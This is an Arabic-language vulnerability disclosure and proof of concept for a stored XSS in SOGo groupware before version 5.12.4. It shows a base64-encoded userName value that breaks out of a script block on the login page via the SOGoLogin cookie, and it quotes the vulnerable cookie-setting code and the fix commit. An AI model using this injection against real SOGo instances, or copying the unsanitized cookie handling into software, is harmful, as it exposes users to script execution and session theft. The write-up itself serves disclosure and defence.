
إثبات مفهوم لـ XSS مخزّن لـ SOGo groupware، استغلال ملف تعريف الارتباط 'Remember Username' لحقن حمولات JavaScript عبر نقطة نهاية تسجيل الدخول.
ثغرة XSS مخزنة في ملف تعريف الارتباط Alinto/SOGo
الباحثون: Daniil Khomichenok, Alexander Klimenko
الإصدارات المتأثرة < 5.12.4 ( https://github.com/Alinto/sogo/releases/tag/SOGo-5.12.4 )
التاريخ: 01.10.2025
عند تفعيل ميزة "تذكر اسم المستخدم"، يُضاف حقل مشفر بـ base64 إلى ملف تعريف الارتباط في المتصفح.
يتم الحصول على هذه القيمة من معامل "userName" في طلب POST إلى نقطة النهاية /SOGo/connect.
يحتوي استجابة الخادم على حمولة XSS مشفرة بـ base64 مع تعيين ملف تعريف الارتباط:
Set-Cookie: SOGoLogin=dGVzdDIyMkBxYXRlc3Qub2YuYnk8L3NjcmlwdD48c2NyaXB0PmFsZXJ0KCcxMjMnKTwvc2NyaXB0Pg%3D%3D; expires=Sun, 02-Nov-2025 09:58:23 GMT;
إضافة القيمة التالية إلى طلب POST لمعامل "userName":
والتي تحتوي على حقنة JavaScript يتم تنفيذها عندما يعود المستخدم إلى صفحة المصادقة وتُخزن في ملف تعريف الارتباط "SOGoLogin" في متصفح المستخدم.
كود صفحة المصادقة، الذي يحتوي على الحقنة:
<script type="text/javascript">
var cookieUsername = "[email protected]</script><script>alert('123')</script>";
var language = 'English';
var loginHint = ''
</script>
كود تذكر تسجيل الدخول set-cookie الذي يقبل حقن XSS كقيمة معامل:
if (rememberLogin)
[response addCookie: [self _cookieWithUsername: [params objectForKey: @"userName"]]];
else
[response addCookie: [self _cookieWithUsername: nil]];
الإصلاح: https://github.com/Alinto/sogo/commit/9e20190fad1a437f7e1307f0adcfe19a8d45184c